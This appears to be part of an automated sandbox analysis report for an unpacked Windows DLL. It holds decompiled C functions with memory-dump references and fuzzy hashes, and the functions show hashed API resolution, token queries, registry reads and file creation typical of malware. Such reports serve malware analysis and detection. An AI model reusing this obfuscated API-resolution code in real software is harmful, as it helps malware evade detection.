                                                                                                                                              0x6e761168
                                                                                                                                              0x6e76116a
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6E761118
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6E76117B
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4114910276-0
                                                                                                                                              • Opcode ID: d4114acdae47b760778368f229c105cfa951edf473a092887fb2ca255ca5d737
                                                                                                                                              • Instruction ID: 63ce3475b7b23d8723092c9f447a8d0bf5b41d2c990dfc488e18318850cb2af8
                                                                                                                                              • Opcode Fuzzy Hash: d4114acdae47b760778368f229c105cfa951edf473a092887fb2ca255ca5d737
                                                                                                                                              • Instruction Fuzzy Hash: EE41F6707442426EEB15DAE8DE68BAF77E99B82308F108878AD54D61B4DB20C84DCB51
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 94%
                                                                                                                                              			E6E7657B4(void* __ecx, char* _a4, intOrPtr _a8) {
                                                                                                                                              				int _v16;
                                                                                                                                              				int _v20;
                                                                                                                                              				intOrPtr _t11;
                                                                                                                                              				int* _t12;
                                                                                                                                              				int _t13;
                                                                                                                                              				void* _t23;
                                                                                                                                              				char* _t35;
                                                                                                                                              				int* _t38;
                                                                                                                                              
                                                                                                                                              				_push(_t34);
                                                                                                                                              				_t23 = __ecx;
                                                                                                                                              				_t11 =  *((intOrPtr*)(__ecx + 4));
                                                                                                                                              				if(_t11 == 0 || _t11 == 0xffffffff) {
                                                                                                                                              					_t12 = 1;
                                                                                                                                              				} else {
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				}
                                                                                                                                              				if(_t12 != 0) {
                                                                                                                                              					L10:
                                                                                                                                              					_t13 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					_t35 = _a4;
                                                                                                                                              					if(_t35 == 0 ||  *_t35 != 0) {
                                                                                                                                              						_v20 = 0;
                                                                                                                                              						_v16 = 0;
                                                                                                                                              						if(E6E763064(0x150c05fc, 0x545b7fe2) != 0) {
                                                                                                                                              							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
                                                                                                                                              						}
                                                                                                                                              						_t15 = _v16;
                                                                                                                                              						if(_v16 != 0) {
                                                                                                                                              							E6E75F828(_a8, _t15);
                                                                                                                                              							if(E6E763064(0x150c05fc, 0x545b7fe2) != 0) {
                                                                                                                                              								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E6E75F4BC(_a8, 0),  &_v20); // executed
                                                                                                                                              							}
                                                                                                                                              							_t13 = _v20;
                                                                                                                                              						} else {
                                                                                                                                              							goto L10;
                                                                                                                                              						}
                                                                                                                                              					} else {
                                                                                                                                              						goto L10;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				return _t13;
                                                                                                                                              			}











                                                                                                                                              0x6e7657b8
                                                                                                                                              0x6e7657b9
                                                                                                                                              0x6e7657bb
                                                                                                                                              0x6e7657c0
                                                                                                                                              0x6e7657c7
                                                                                                                                              0x6e7657cb
                                                                                                                                              0x6e7657cb
                                                                                                                                              0x6e7657cb
                                                                                                                                              0x6e7657cf
                                                                                                                                              0x6e765815
                                                                                                                                              0x6e765815
                                                                                                                                              0x6e7657d1
                                                                                                                                              0x6e7657d1
                                                                                                                                              0x6e7657d7
                                                                                                                                              0x6e7657e0
                                                                                                                                              0x6e7657e3
                                                                                                                                              0x6e7657fa
                                                                                                                                              0x6e76580b
                                                                                                                                              0x6e76580b
                                                                                                                                              0x6e76580d
                                                                                                                                              0x6e765813
                                                                                                                                              0x6e76581e
                                                                                                                                              0x6e765836
                                                                                                                                              0x6e765856
                                                                                                                                              0x6e765856
                                                                                                                                              0x6e765858
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e7657d7
                                                                                                                                              0x6e765860

                                                                                                                                              APIs
                                                                                                                                              • RegQueryValueExA.KERNELBASE(?,6E76D1F8,00000000,?,00000000,00000000,?,?,?,6E76D1F8,?,6E765887,?,00000000,00000000), ref: 6E76580B
                                                                                                                                              • RegQueryValueExA.KERNELBASE(?,6E76D1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,6E76D1F8,?,6E765887,?,00000000), ref: 6E765856
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: QueryValue
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 3660427363-0
                                                                                                                                              • Opcode ID: 1efe9e4701dbfa3cada60aee337f192807569c167ced025668ece5e7b2494b7e
                                                                                                                                              • Instruction ID: 3a8e2cd423438bc91a88583740f54a994b73661fbc0a43ea9b21e060788a22b5
                                                                                                                                              • Opcode Fuzzy Hash: 1efe9e4701dbfa3cada60aee337f192807569c167ced025668ece5e7b2494b7e
                                                                                                                                              • Instruction Fuzzy Hash: 1711A830209306BBD6509EA5ED90E9B77DCEF45758F008D2DB85497152DB21E800DF61
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 65%
                                                                                                                                              			E6E765B3C(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
                                                                                                                                              				char _v24;
                                                                                                                                              				void* __esi;
                                                                                                                                              				void* _t16;
                                                                                                                                              				void* _t30;
                                                                                                                                              				long _t37;
                                                                                                                                              				void* _t38;
                                                                                                                                              				long _t39;
                                                                                                                                              				WCHAR** _t40;
                                                                                                                                              				intOrPtr* _t55;
                                                                                                                                              				WCHAR** _t56;
                                                                                                                                              				char* _t59;
                                                                                                                                              				long _t60;
                                                                                                                                              
                                                                                                                                              				_t56 = __ecx;
                                                                                                                                              				_t37 = _a8;
                                                                                                                                              				if(E6E75D1CC(__ecx, 0x2f) != 0) {
                                                                                                                                              					_t58 = _t60;
                                                                                                                                              					E6E75D6D0(__ecx, _t60);
                                                                                                                                              					E6E75CFF8(_t56,  *_t60);
                                                                                                                                              					E6E75CFDC(_t60);
                                                                                                                                              				}
                                                                                                                                              				if(_t37 == 0) {
                                                                                                                                              					_t64 = _a4 - 1;
                                                                                                                                              					if(_a4 != 1) {
                                                                                                                                              						__eflags = _a4 - 4;
                                                                                                                                              						_t37 = (0 | _a4 == 0x00000004) + 2;
                                                                                                                                              						__eflags = _t37;
                                                                                                                                              					} else {
                                                                                                                                              						_t37 = 1;
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				E6E7662B0(_t64);
                                                                                                                                              				if(_a4 > 5) {
                                                                                                                                              					_t58 = 0;
                                                                                                                                              					if(_t37 != 2) {
                                                                                                                                              						_t16 = 3;
                                                                                                                                              						__eflags = _t37 - 1;
                                                                                                                                              						_t38 = 0;
                                                                                                                                              						_t39 =  ==  ? _t16 : _t38;
                                                                                                                                              					} else {
                                                                                                                                              						_t39 = 1;
                                                                                                                                              					}
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              						_push(0);
                                                                                                                                              					} else {
                                                                                                                                              						_t30 = CreateFileW( *_t56, 0, _t39, 0, _t58, _a12, 0); // executed
                                                                                                                                              						_push(_t30);
                                                                                                                                              					}
                                                                                                                                              					_t40 =  &(_t56[3]);
                                                                                                                                              					E6E75C26C(_t40);
                                                                                                                                              					if(E6E75C280(_t40) != 0) {
                                                                                                                                              						_t56[2] = E6E7635F0(0);
                                                                                                                                              						return 0;
                                                                                                                                              					} else {
                                                                                                                                              						if(_a4 == 2) {
                                                                                                                                              							_t55 = E6E763064(0x8e844d1e, 0xba53868);
                                                                                                                                              							__eflags = _t55;
                                                                                                                                              							if(_t55 != 0) {
                                                                                                                                              								 *_t55( *_t40, 0, 0, 2);
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t59 =  &_v24;
                                                                                                                                              						E6E763698(_t59, 0xff, 8);
                                                                                                                                              						if(E6E763064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              							_push(_t59);
                                                                                                                                              							_push(_t59);
                                                                                                                                              							_push(0);
                                                                                                                                              							_push( *_t40);
                                                                                                                                              							asm("int3");
                                                                                                                                              							asm("int3");
                                                                                                                                              						}
                                                                                                                                              						return 1;
                                                                                                                                              					}
                                                                                                                                              				} else {
                                                                                                                                              					goto __eax;
                                                                                                                                              				}
                                                                                                                                              			}















                                                                                                                                              0x6e765b43
                                                                                                                                              0x6e765b45
                                                                                                                                              0x6e765b52
                                                                                                                                              0x6e765b56
                                                                                                                                              0x6e765b5a
                                                                                                                                              0x6e765b64
                                                                                                                                              0x6e765b6b
                                                                                                                                              0x6e765b6b
                                                                                                                                              0x6e765b72
                                                                                                                                              0x6e765b74
                                                                                                                                              0x6e765b79
                                                                                                                                              0x6e765b82
                                                                                                                                              0x6e765b8a
                                                                                                                                              0x6e765b8a
                                                                                                                                              0x6e765b7b
                                                                                                                                              0x6e765b7d
                                                                                                                                              0x6e765b7d
                                                                                                                                              0x6e765b79
                                                                                                                                              0x6e765b8f
                                                                                                                                              0x6e765b9b
                                                                                                                                              0x6e765ccc
                                                                                                                                              0x6e765c09
                                                                                                                                              0x6e765c12
                                                                                                                                              0x6e765c13
                                                                                                                                              0x6e765c18
                                                                                                                                              0x6e765c19
                                                                                                                                              0x6e765c0b
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c2f
                                                                                                                                              0x6e765c43
                                                                                                                                              0x6e765c31
                                                                                                                                              0x6e765c3e
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c45
                                                                                                                                              0x6e765c4a
                                                                                                                                              0x6e765c58
                                                                                                                                              0x6e765cc3
                                                                                                                                              0x00000000
                                                                                                                                              0x6e765c5a
                                                                                                                                              0x6e765c5f
                                                                                                                                              0x6e765cac
                                                                                                                                              0x6e765cae
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765c61
                                                                                                                                              0x6e765c6d
                                                                                                                                              0x6e765c86
                                                                                                                                              0x6e765c88
                                                                                                                                              0x6e765c89
                                                                                                                                              0x6e765c8a
                                                                                                                                              0x6e765c8c
                                                                                                                                              0x6e765c8e
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x00000000
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765ba1
                                                                                                                                              0x6e765bb1
                                                                                                                                              0x6e765bb1

                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID:
                                                                                                                                              • Opcode ID: 10153674d409dd202394fa1b252a3b59379c359aec42ff41f4b1cb79f44a1b67
                                                                                                                                              • Instruction ID: 5a36d49458e40790ab77e2c452dd75f9400cc0a150617e02d90b3e1305018acb
                                                                                                                                              • Opcode Fuzzy Hash: 10153674d409dd202394fa1b252a3b59379c359aec42ff41f4b1cb79f44a1b67
                                                                                                                                              • Instruction Fuzzy Hash: 6531053024430ABEEB502AF56F98F6B739DDB8174CF004C39FD05A52B6DE119814D761
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6E761166(intOrPtr* __eax, void* __ebx, void* __ecx) {
                                                                                                                                              				void* _t20;
                                                                                                                                              
                                                                                                                                              				 *__eax =  *__eax + __eax;
                                                                                                                                              				 *((intOrPtr*)(_t20 + 0x50182444)) =  *((intOrPtr*)(_t20 + 0x50182444)) + __ecx;
                                                                                                                                              			}




                                                                                                                                              0x6e761168
                                                                                                                                              0x6e76116a

                                                                                                                                              APIs
                                                                                                                                              • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6E76117B
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: InformationToken
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4114910276-0
                                                                                                                                              • Opcode ID: 8162e476bed466b15e8bf967a0abe15d034c35eef06e00be9545f18c94d02dd7
                                                                                                                                              • Instruction ID: 9e1d76c7e9ec522de3df1e9d0875bd438f014130312f4d455a10e0e29fcd2e86
                                                                                                                                              • Opcode Fuzzy Hash: 8162e476bed466b15e8bf967a0abe15d034c35eef06e00be9545f18c94d02dd7
                                                                                                                                              • Instruction Fuzzy Hash: 8911E7307042835EFF5685E8DE7CBAE37699B82708F104875ED68D61F4CA24C88DCA62
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 51%
                                                                                                                                              			E6E765BE5(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t7;
                                                                                                                                              				void* _t12;
                                                                                                                                              				void* _t20;
                                                                                                                                              				void* _t21;
                                                                                                                                              				void* _t22;
                                                                                                                                              				long _t23;
                                                                                                                                              				WCHAR** _t24;
                                                                                                                                              				intOrPtr* _t32;
                                                                                                                                              				WCHAR** _t33;
                                                                                                                                              				long _t37;
                                                                                                                                              				void* _t39;
                                                                                                                                              				void* _t40;
                                                                                                                                              
                                                                                                                                              				_t33 = __edi;
                                                                                                                                              				if(__edx != 0) {
                                                                                                                                              					_t37 = 3;
                                                                                                                                              					if(_t21 != 2) {
                                                                                                                                              						_t7 = 3;
                                                                                                                                              						_t22 = 0;
                                                                                                                                              						_t23 =  ==  ? _t7 : _t22;
                                                                                                                                              					} else {
                                                                                                                                              						_t23 = 1;
                                                                                                                                              					}
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              						_push(0);
                                                                                                                                              					} else {
                                                                                                                                              						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
                                                                                                                                              						_push(_t20);
                                                                                                                                              					}
                                                                                                                                              					_t24 =  &(_t33[3]);
                                                                                                                                              					E6E75C26C(_t24);
                                                                                                                                              					if(E6E75C280(_t24) != 0) {
                                                                                                                                              						_t33[2] = E6E7635F0(0x80000000);
                                                                                                                                              						_t12 = 0;
                                                                                                                                              					} else {
                                                                                                                                              						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
                                                                                                                                              							_t32 = E6E763064(0x8e844d1e, 0xba53868);
                                                                                                                                              							if(_t32 != 0) {
                                                                                                                                              								 *_t32( *_t24, 0, 0, 2);
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t39 = _t40 + 8;
                                                                                                                                              						E6E763698(_t39, 0xff, 8);
                                                                                                                                              						_t40 = _t40 + 0xc;
                                                                                                                                              						if(E6E763064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              							_push(_t39);
                                                                                                                                              							_push(_t39);
                                                                                                                                              							_push(0);
                                                                                                                                              							_push( *_t24);
                                                                                                                                              							asm("int3");
                                                                                                                                              							asm("int3");
                                                                                                                                              						}
                                                                                                                                              						_t12 = 1;
                                                                                                                                              					}
                                                                                                                                              				} else {
                                                                                                                                              					__edi[2] = 2;
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				}
                                                                                                                                              				return _t12;
                                                                                                                                              			}















                                                                                                                                              0x6e765be5
                                                                                                                                              0x6e765be7
                                                                                                                                              0x6e765bfe
                                                                                                                                              0x6e765c09
                                                                                                                                              0x6e765c12
                                                                                                                                              0x6e765c18
                                                                                                                                              0x6e765c19
                                                                                                                                              0x6e765c0b
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c2f
                                                                                                                                              0x6e765c43
                                                                                                                                              0x6e765c31
                                                                                                                                              0x6e765c3e
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c45
                                                                                                                                              0x6e765c4a
                                                                                                                                              0x6e765c58
                                                                                                                                              0x6e765cc3
                                                                                                                                              0x6e765cc6
                                                                                                                                              0x6e765c5a
                                                                                                                                              0x6e765c5f
                                                                                                                                              0x6e765cac
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765c61
                                                                                                                                              0x6e765c6d
                                                                                                                                              0x6e765c72
                                                                                                                                              0x6e765c86
                                                                                                                                              0x6e765c88
                                                                                                                                              0x6e765c89
                                                                                                                                              0x6e765c8a
                                                                                                                                              0x6e765c8c
                                                                                                                                              0x6e765c8e
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765be9
                                                                                                                                              0x6e765be9
                                                                                                                                              0x6e765bf0
                                                                                                                                              0x6e765bf0
                                                                                                                                              0x6e765c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6E765C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: c46e35028ef516b2a6bafbb4d93dcee3a2ebb779e0ca04dcf25d6f0dd780b036
                                                                                                                                              • Instruction ID: cd934ccd0c608460bed372e2a38b5904d9fad5df26a574f42f67232b449a7988
                                                                                                                                              • Opcode Fuzzy Hash: c46e35028ef516b2a6bafbb4d93dcee3a2ebb779e0ca04dcf25d6f0dd780b036
                                                                                                                                              • Instruction Fuzzy Hash: CE012630284207BAFB501AE56F48F6B774DDB8234CF004C35BD01651A6EF226868D721
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 50%
                                                                                                                                              			E6E765BBD(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t7;
                                                                                                                                              				void* _t12;
                                                                                                                                              				void* _t20;
                                                                                                                                              				void* _t22;
                                                                                                                                              				long _t23;
                                                                                                                                              				WCHAR** _t24;
                                                                                                                                              				void* _t31;
                                                                                                                                              				intOrPtr* _t33;
                                                                                                                                              				WCHAR** _t34;
                                                                                                                                              				void* _t38;
                                                                                                                                              				long _t39;
                                                                                                                                              				void* _t41;
                                                                                                                                              				void* _t42;
                                                                                                                                              
                                                                                                                                              				_t34 = __edi;
                                                                                                                                              				_t31 = 5;
                                                                                                                                              				_t38 = 2;
                                                                                                                                              				_t39 =  !=  ? _t31 : _t38;
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t7 = 3;
                                                                                                                                              					_t22 = 0;
                                                                                                                                              					_t23 =  ==  ? _t7 : _t22;
                                                                                                                                              				} else {
                                                                                                                                              					_t23 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6E763064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
                                                                                                                                              					_push(_t20);
                                                                                                                                              				}
                                                                                                                                              				_t24 =  &(_t34[3]);
                                                                                                                                              				E6E75C26C(_t24);
                                                                                                                                              				if(E6E75C280(_t24) != 0) {
                                                                                                                                              					_t34[2] = E6E7635F0(0xc0000000);
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
                                                                                                                                              						_t33 = E6E763064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t33 != 0) {
                                                                                                                                              							 *_t33( *_t24, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t41 = _t42 + 8;
                                                                                                                                              					E6E763698(_t41, 0xff, 8);
                                                                                                                                              					_t42 = _t42 + 0xc;
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t41);
                                                                                                                                              						_push(_t41);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t24);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t12 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t12;
                                                                                                                                              			}
















                                                                                                                                              0x6e765bbd
                                                                                                                                              0x6e765bc1
                                                                                                                                              0x6e765bc4
                                                                                                                                              0x6e765bc7
                                                                                                                                              0x6e765c09
                                                                                                                                              0x6e765c12
                                                                                                                                              0x6e765c18
                                                                                                                                              0x6e765c19
                                                                                                                                              0x6e765c0b
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c2f
                                                                                                                                              0x6e765c43
                                                                                                                                              0x6e765c31
                                                                                                                                              0x6e765c3e
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c40
                                                                                                                                              0x6e765c45
                                                                                                                                              0x6e765c4a
                                                                                                                                              0x6e765c58
                                                                                                                                              0x6e765cc3
                                                                                                                                              0x6e765cc6
                                                                                                                                              0x6e765c5a
                                                                                                                                              0x6e765c5f
                                                                                                                                              0x6e765cac
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cba
                                                                                                                                              0x6e765cb0
                                                                                                                                              0x6e765c61
                                                                                                                                              0x6e765c6d
                                                                                                                                              0x6e765c72
                                                                                                                                              0x6e765c86
                                                                                                                                              0x6e765c88
                                                                                                                                              0x6e765c89
                                                                                                                                              0x6e765c8a
                                                                                                                                              0x6e765c8c
                                                                                                                                              0x6e765c8e
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c8f
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c92
                                                                                                                                              0x6e765c9a

                                                                                                                                              APIs
                                                                                                                                              • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6E765C3E
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID: CreateFile
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 823142352-0
                                                                                                                                              • Opcode ID: a124f905a7b88adf81c00bd5bc08d6d83bbaf871b5730aa4a2b761ba493ce728
                                                                                                                                              • Instruction ID: b16bc65245d1d123ac1e3bf0dcd1726a4920449ddb080aaa6bdbcb3e302d203c
                                                                                                                                              • Opcode Fuzzy Hash: a124f905a7b88adf81c00bd5bc08d6d83bbaf871b5730aa4a2b761ba493ce728
                                                                                                                                              • Instruction Fuzzy Hash: D101D63138430BBAFA502AE56F49F7B774DDFC275CF004C35BE01651A6EE125859D621
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 45%
                                                                                                                                              			E6E765BD1(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                                                              				void* _t7;
                                                                                                                                              				void* _t12;
                                                                                                                                              				void* _t20;
                                                                                                                                              				void* _t22;
                                                                                                                                              				long _t23;
                                                                                                                                              				WCHAR** _t24;
                                                                                                                                              				intOrPtr* _t33;
                                                                                                                                              				WCHAR** _t34;
                                                                                                                                              				long _t38;
                                                                                                                                              				void* _t40;
                                                                                                                                              				void* _t41;
                                                                                                                                              
                                                                                                                                              				_t34 = __edi;
                                                                                                                                              				_t38 = 2;
                                                                                                                                              				asm("adc ebp, 0x0");
                                                                                                                                              				if(__ebx != 2) {
                                                                                                                                              					_t7 = 3;
                                                                                                                                              					_t22 = 0;
                                                                                                                                              					_t23 =  ==  ? _t7 : _t22;
                                                                                                                                              				} else {
                                                                                                                                              					_t23 = 1;
                                                                                                                                              				}
                                                                                                                                              				if(E6E763064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                                                              					_push(0);
                                                                                                                                              				} else {
                                                                                                                                              					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
                                                                                                                                              					_push(_t20);
                                                                                                                                              				}
                                                                                                                                              				_t24 =  &(_t34[3]);
                                                                                                                                              				E6E75C26C(_t24);
                                                                                                                                              				if(E6E75C280(_t24) != 0) {
                                                                                                                                              					_t34[2] = E6E7635F0(0xc0000000);
                                                                                                                                              					_t12 = 0;
                                                                                                                                              				} else {
                                                                                                                                              					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
                                                                                                                                              						_t33 = E6E763064(0x8e844d1e, 0xba53868);
                                                                                                                                              						if(_t33 != 0) {
                                                                                                                                              							 *_t33( *_t24, 0, 0, 2);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t40 = _t41 + 8;
                                                                                                                                              					E6E763698(_t40, 0xff, 8);
                                                                                                                                              					_t41 = _t41 + 0xc;
                                                                                                                                              					if(E6E763064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                                                              						_push(_t40);
                                                                                                                                              						_push(_t40);
                                                                                                                                              						_push(0);
                                                                                                                                              						_push( *_t24);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t12 = 1;
                                                                                                                                              				}
                                                                                                                                              				return _t12;
                                                                                                                                              			}














                                                                                                                                              0x6e765bd1
                                                                                                                                              0x6e765bd8
                                                                                                                                              0x6e765bdb
                                                                                                                                              0x6e765c09
                                                                                                                                              0x6e765c12
                                                                                                                                              0x6e765c18
                                                                                                                                              0x6e765c19
                                                                                                                                              0x6e765c0b
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c0d
                                                                                                                                              0x6e765c2f
                                                                                                                                              0x6e765c43
